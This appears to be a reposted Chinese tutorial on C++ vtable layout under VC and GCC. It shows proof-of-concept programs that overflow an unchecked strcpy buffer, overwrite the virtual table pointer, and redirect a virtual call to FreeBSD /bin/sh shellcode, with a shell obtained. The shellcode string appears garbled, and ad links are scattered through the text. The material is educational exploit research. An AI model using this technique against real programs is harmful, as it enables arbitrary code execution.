C++中通过溢出覆盖虚函数指针列表执行代码

来源:互联网 发布:延伫乎吾将反得乎 编辑:程序博客网 时间:2024/05/21 12:41
1.  C++中虚函数的静态联编和动态联编
    2.  VC中对象的空间组织和溢出试验
    3.  GCC中对象的空间组织和溢出试验
    4.  参考
  
  
  <一> C++中虚函数的静态联编和动态联编
  
        C++中的一大法宝就是虚函数,简单来说就是加virtual要害字定义的函数。
    其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的
    使用,一个典型的例子就是虚函数是MFC的基石之一。
  
       这里有两个概念需要先解释:=版权所有  软件 下载  学院  版权所有=
  
    静态联编:通俗点来讲就是程序编译时确定调用目标的地址。
    动态联编:程序运行阶段确定调用目标的地址。
      
       在C++中通常的函数调用都是静态联编,但假如定义函数时加了virtual要害
    字,并且在调用函数时是通过指针或引用调用,那么此时就是采用动态联编。
  
        一个简单例子:
  // test.cpp
  #include<iostream.h>
  class ClassA
  {
  public:
    int num1;
    ClassA(){ num1=0xffff; };
    virtual void test1(void){};
    virtual void test2(void){};
  };
  ClassA objA,* pobjA;
  
  int main(void)
  {
    pobjA=&objA;
    objA.test1();
    objA.test2();
    pobjA->test1();
    pobjA->test2();
    return 0;
  }
  
  
  
   
  使用VC编译:
  开一个命令行直接在命令行调用cl来编译: (假如你安装vc时没有选择注册环境
  变量,那么先在命令行运行VC目录下binVCVARS32.BAT )
  
  cl test.cpp /Fa
  产生test.asm中间汇编代码
  
  接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心 !
  
  我们来看看:
  
  数据定义:
  
  _BSS    SEGMENT
  ?objA@@3VClassA@@A DQ 01H DUP (?)    ;objA  64位
  ?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一个地址32位
  _BSS    ENDS
  
  看到objA为64位,里边存放了哪些内容呢? 接着看看构造函数:
  
  _this$ = -4
  ??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?!
  ; File test.cpp
  ; Line 6
      push    ebp
      mov    ebp, esp
      push    ecx
      mov    DWord PTR _this$[ebp], ecx  ; ecx 赋值给 _this ?? 不明白??
  
      mov    eax, DWORD PTR _this$[ebp]
      mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
             ; ClassA::`vftable'
  
  ; 前面的部分都是编译器加的东东,我们的赋值在这里
  
      mov    ecx, DWORD PTR _this$[ebp]
      mov    DWORD PTR [ecx+4], 65535   ;0xffff  num1=0xffff;
  ; 看来 _this+4就是num1的地址
  
      mov    eax, DWORD PTR _this$[ebp]
      mov    esp, ebp
      pop    ebp
      ret    0
  ??0ClassA@@QAE@XZ ENDP
  
  那个_this和mov    DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧,不急看看何
  处调用的构造函数:
  
  _$E9    PROC NEAR
  ; File test.cpp
  ; Line 10
      push    ebp
      mov    ebp, esp
      mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A
      call    ??0ClassA@@QAE@XZ          ;call ClassA::ClassA()
      pop    ebp
      ret    0
  _$E9    ENDP
  
  看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中
  的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx
  赋值给他,指向调用该方法的对象的地址 。
  
  那么构造函数里的这两行又是干什么呢?
      mov    eax, DWORD PTR _this$[ebp]
      mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
             ; ClassA::`vftable'
  
  我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA
  接着就相当于  ( * eax ) =  OFFSET FLAT:??_7ClassA@@6B@
  
  来看看  ??_7ClassA@@6B@ 是哪个道上混的:
  
  CONST    SEGMENT
  ??_7ClassA@@6B@
          DD FLAT:?test1@ClassA@@UAEXXZ  ;  ClassA::`vftable'
      DD FLAT:?test2@ClassA@@UAEXXZ
  CONST    ENDS
  
  看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值:
      mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
             ; ClassA::`vftable'
  就是在对象的起始地址填入这么一个地址列表的地址。
  
  
  好了,至此我们已经看到了objA的构造了:
  
  | 低地址 |
  +--------+ ---> objA的起始地址 &objA
  |pvftable|
  +--------+-------------------------+
   | num1   | num1变量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>          |
  +--------+ ---> objA的结束地址     +--->+--------------+ 地址表 vftable
  | 高地址 |                              |test1()的地址 |
                                          +--------------+
                                          |test2()的地址 |
                                          +--------------+
  
  来看看main函数:
  _main    PROC NEAR
  ; Line 13
      push    ebp
      mov    ebp, esp
  ; Line 14
      mov    DWORD PTR ?pobjA@@3PAVClassA@@A,
                  OFFSET FLAT:?objA@@3VClassA@@A        ; pobjA = &objA
  
  ; Line 15
      mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A   ; ecx = this指针
                                                        ; 指向调用者的地址
      call    ?test1@ClassA@@UAEXXZ                 ; objA.test1()
               ; objA.test1()直接调用,已经确定了地址
  ; Line 16
      mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A
      call    ?test2@ClassA@@UAEXXZ                 ; objA.test2()
  ; Line 17
      mov    eax, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
      mov    edx, DWORD PTR [eax]                  ; edx = vftable
      mov    ecx, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
      call    DWORD PTR [edx]                       ;
         ; call vftable[0]  即 pobjA->test1()  看地址是动态查找的 ; )
                                                                  
  
  ; Line 18
      mov    eax, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
      mov    edx, DWORD PTR [eax]
      mov    ecx, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
      call    DWORD PTR [edx+4]                     ; pobjA->test2()
         ;  call vftable[1]  而vftable[1]里存放的是test2()的入口地址
  ; Line 19
      xor    eax, eax
  ; Line 20
      pop    ebp
      ret    0
  _main    ENDP
  
  
  
  好了,相信到这里你已经对动态联编有了深刻印象。
  
  
   <二> VC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验
  
    通过上面的分析我们可以对对象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织概括如下:
  
  | 低地址   |
  +----------+ ---> objA的起始地址 &objA
  |pvftable  |--------------------->+
  +----------+                      |
  |各成员变量|                      |
  +----------+ ---> objA的结束地址  +---> +--------------+ 地址表 vftable
  | 高地址   |                            |虚函数1的地址 |
                                          +--------------+
                                          |虚函数2的地址 |
                                          +--------------+
                                          | . . . . . .  |
  
  可以看出假如我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得
  我们能改变程序流程!
  
  现在来作一个溢出试验:
  先写个程序来看看
  #include<iostream.h>
  class ClassEx
  {
  };
  int buff[1];
  ClassEx obj1,obj2,* pobj;
  
  int main(void)
  {
     cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
    return 0;
  }
  
  用cl编译运行结果为:
  0x00408998:0x00408990:0x00408991:0x00408994
  编译器把buff的地址放到后面了!
  把程序改一改,定义变量时换成:
  ClassEx obj1,obj2,* pobj;
  int buff[1];
  结果还是一样!! 不会是vc就是防着这一手吧!
  看来想覆盖不轻易呀 ; )
  只能通过obj1 溢出覆盖obj2了
  
  //ex_vc.cpp
  #include<iostream.h>
  class ClassEx
  {
  public:
  int buff[1];
  virtual void test(void){ cout << "ClassEx::test()" << endl;};
  };
  void entry(void)
  {
    cout << "Why a u here ?!" << endl;
  };
  
  ClassEx obj1,obj2,* pobj;
  
  int main(void)
  {
  
    pobj=&obj2;
    obj2.test();
   
    int vtab[1] = { (int) entry };//构造vtab,
                                  //entry的入口地址
    obj1.buff[1] = (int)vtab;     //obj1.buff[1]就是 obj2的pvftable域
                                  //这里修改了函数指针列表的地址到vtab
    pobj->test();
    return 0;
  }
  
  编译 cl ex_vc.cpp
  
  运行结果:
  ClassEx::test()
  Why a u here ?!
  
  测试环境: VC6
  
  
  看我们修改了程序执行流程 ^_^
  
  平时我们编程时可能用virtaul不多,但假如我们使用BC/VC等,且使用了厂商提供的
  库,其实我们已经大量使用了虚函数 ,以后写程序可要小心了,一个不留神的变量
  赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的,里边会不会 ....
  
  
  
   <三> GCC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验
  
    刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不
  一样!分析方法一样,就是写个test.cpp用gcc -S test.cpp  来编译得到汇编文件
  test.s 然后分析test.s我们就能得到许多细节上的东西。
  
  通过分析我们可以看到:
  
  gcc中对象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>结构如下:
  
  |   低地址      |
  +---------------+  对象的开始地址
  |               |
  |  成员变量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |
  |               |
  +---------------+
  | pvftable      |----------->+------------------+  vftable
  +---------------+            |        0         |
  |    高地址     |            +------------------+
                               |    XXXXXXXX      |
                               +------------------+
                               |        0         |
                               +----------------- +
                               |  虚函数1入口地址 |
                               +------------------+
                               |        0         |
                               +----------------- +
                               |  虚函数2入口地址 |
                               +------------------+
                               | . . . .  . .     |
  
  
  哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable
  前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了!
  
  
  来写个溢出测试程序:
  
  //test.cpp
  #include<iostream.h>
  class ClassTest
  {
  public:
    long buff[1];   //大小为1
    virtual void test(void)
    {
       cout << "ClassTest test()" << endl;
    }
  };
  
  void entry(void)
  {
    cout << "Why are u here ?!" << endl;
  }
  
  int main(void)
  {
    ClassTest a,*p =&a;
    long addr[] = {0,0,0,(long)entry}; //构建的虚函数表
                                    //test() -> entry()
  
    a.buff[1] = ( long ) addr;// 溢出,操作了虚函数列表指针
    a.test();    //静态联编的,不会有事
    p->test();   //动态联编的,到我们的函数表去找地址,
                 //     结果就变成了调用函数  entry()
  
  }
  
  编译: gcc test.cpp -lstdc++
  执行结果:
  bash-2.05# ./a.out
  ClassTest test()
  Why are u here ?!
  
  
  测试程序说明:
  
  具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段:
  .section        .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
          .p2align 2
          .type    _vt$9ClassTest,@object
          .size    _vt$9ClassTest,24
  _vt$9ClassTest:
          .value 0
          .value 0
          .long __tf9ClassTest
          .value 0
          .value 0
          .long test__9ClassTest           ----------+
          .zero   8                                  |
          .comm   __ti9ClassTest,8,4                 |
                                                     |
                                                     |
                          test()的地址          <----+
  
  
  这就是其虚函数列表里的内容了。
  
                       test()地址在第3个(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>
  
  所以我们构造addr[]时:
  
     long addr[] = {0,0,0,(long)entry};
  
     就覆盖了test()函数的地址 为 entry()的地址
  
     p->test()
     时就跑到我们构建的地址表里取了entry的地址去运行了
  
  
  测试环境 FreeBSD 4.4
           gcc 2.95.3
  
  来一个真实一点的测试:
  通过溢出覆盖pvftable,时期指向一个我们自己构造的
  vftable,并且让vftable的虚函数地址指向我们的一段shellcode
  从而得到一个shell。
  
  #include<iostream.h>
  #include<stdio.h>
  class ClassBase  //定义一个基础类
  {
  public:
    char buff[128];
    void setBuffer(char * s)
    {
       strcpy(buff,s);
    };
    virtual void printBuffer(void){};  //虚函数
  };
  
  class  ClassA :public ClassBase 
  {
  public:
    void printBuffer(void)
    {
       cout << "Name :" << buff << endl;
    };
  };
  
  class ClassB : public ClassBase
  {
  public:
    void printBuffer(void)
    {
       cout << "The text : " << buff << endl;
    };
  };
  
  char  buffer[512],*pc;            
  long  * pl = (long *) buffer;
  long  addr = 0xbfbffabc;   // 在我的机器上就是 &b ^_*
  char  shellcode[]="1xc0Ph//shh/binT[PPSS4;xcdx80";
  int i;
  
  int main(void)
  {
    ClassA a;
    ClassB b;
    ClassBase * classBuff[2] = { &a,&b };
  
    a.setBuffer("Tom");
    b.setBuffer("Hello ! This is world of c++ .");
  
    for(i=0;i<2;i++)     //C++中的惯用手法,
                         //一个基础类的指针指向上层类对象时调
                 //用的为高层类的虚函数
      classBuff[i]->printBuffer(); // 这里是正常用法
  
    cout << &a << " : " << &b <<  endl; // &b就是上面addr的值,
                    //假如你的机器上两个值不同就改一改addr值吧!
        //构造一个非凡的buff呆会给b.setBuffer
        // 在开始处构造一个vftable
    pl[0]=0xAAAAAAAA;     //填充1
    pl[1]=0xAAAAAAAA;     //填充2
    pl[2]=0xAAAAAAAA;     //填充3
    pl[3]=addr+16;        //虚函数printBuffer入口地址
                          //  的位置指向shell代码处了
    pc = buffer+16;
    strcpy(pc,shellcode);
    pc+=strlen(shellcode);
  
    for(;pc - buffer < 128 ; *pc++='A');  //填充
   
    pl=(long *) pc;
    *pl= addr;             //覆盖pvftable使其指向我们构造的列表
  
    b.setBuffer(buffer);  //溢出了吧 .
  
    // 再来一次
    for(i=0;i<2;i++)
      classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
                                   // 时一个shell就出来了
  
    return 0;
  }
   
  
  bash-2.05$ ./a.out
  Name :Tom
  The text : Hello ! This is world of c++ .
  0xbfbffb44 : 0xbfbffabc
  Name :
  $                 <------ 呵呵,成功了
  
  说明:
  
  addr = &b  也就是 &b.buff[0]
  
  b.setBuffer(buffer)
  就是让 b.buff溢出,覆盖128+4+1个地址。
  此时内存中的构造如下:
  
  &b.buff[0] 也是 &b
  ^
  |
  |
  [填充1|填充2|填充3|addr+16|shellcode|填充|addr | ]
                      ____  ^                ___
                        |   |                 |
                        |   |                 |
  |                     +---+              |  |
  |                                        |  |
  +--------------->  128    <--------------+  |
                                              |
    此处即pvftable项 ,被溢出覆盖为 addr   <---+                        
  
  现在b.buff[0]的开始处就构建了一个我们自己的虚
  函数表,虚函数的入口地址为shellcode的地址 !
  
  
        本文只是一个引导性文字,还有许多没
    有提到的细节,需要自己去分析。
        俗话说自己动手丰衣足食 *_&
  
  <四> 参考
  
    Phrack56# << SMASHING C++ VPTRS  >>
原创粉丝点击